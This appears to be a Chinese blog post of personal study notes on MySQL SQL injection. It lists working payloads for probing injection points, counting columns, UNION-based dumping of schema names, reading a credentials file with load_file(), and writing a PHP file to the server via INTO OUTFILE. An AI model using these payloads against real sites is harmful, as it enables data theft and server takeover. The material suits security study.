sql注入笔记

如何判断注入点
  1. 真假 判断 注入
and 1=1   页面返回正常
and 1=2   页面返回错误
如果  and 1=2  返回正确 那么也可能
a='『id』' 
a='1=and 1=2'
所以应该  1'  and '1'='2  或  1'  order by x --+
干扰符号 ' " % ) }等

2.猜解列名(字段数)

order by x 错误与正常的临界

SELECT * FROM 表名 where order_id="id" order by 2;
当 order by x 错误的时候 说明 只有 x-1 列
  1. 注释

使用#号

有时发现执行的sql语句中没有#号
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
所以,HTTP请求中不包括#
将#号改成url的编码%23就可以了

使用–和使用–+

这里发现+号在语句中变成了空格。
用来和后面的单引号分隔开,将后面的语句注释。
了解原理后便知道了–无法使用的原因,是因为–与后面的单引号连接在一起,无法形成有效的mysql语句。
在mysql中使用这个语句分析原因,输入后回车显示分号没有闭合
所以在注入时我们除了使用–+外,也可以使用–'来完成sql注入语句

union select x,x,x,x,x

SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1  union select 1,2; 
-----------------
add_time,end_time|
-----------------|
1       |2       |
-----------------
信息收集
数据库版本 version()
数据库名字  database()
数据库用户  user()
操作系统   @@version_compile_os


information_schema.tables; 记录所有表名的表
information_schema.columns;记录所有列名的表
table_name;表名
table_schema;数据库名字
column_name;列名

mysql5.0 以上版本中,mysql 自带数据库名为 information_schema 它是一个存储所有数据库名 表名 列名

获取数据库名字:
SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1  union select 1,database(); 

获取 数据库下的所有表:

SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1 
union select 1,table_name from information_schema.tables where table_schema="test_12"; 

获取 表下所有的列名
SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1  union select 1, column_name from information_schema.columns where table_name="app_gift";

读取文件 load_file()

SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1  union select 1,load_file('D:\\db-creds.inc'); 

写入文件 outfile

SELECT add_time,end_time,id FROM test_12.app_receipt where 1 = -1  union select 1,x,3,into outfile 'D:\\....\\x.php --+'; 

--+  为注释后面的语句
该语句 可以在 服务器创建 一个x.php 文件 文件内容为:

反斜杠 单引号 转义 情况

对路径 编码 或者字节处理


  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值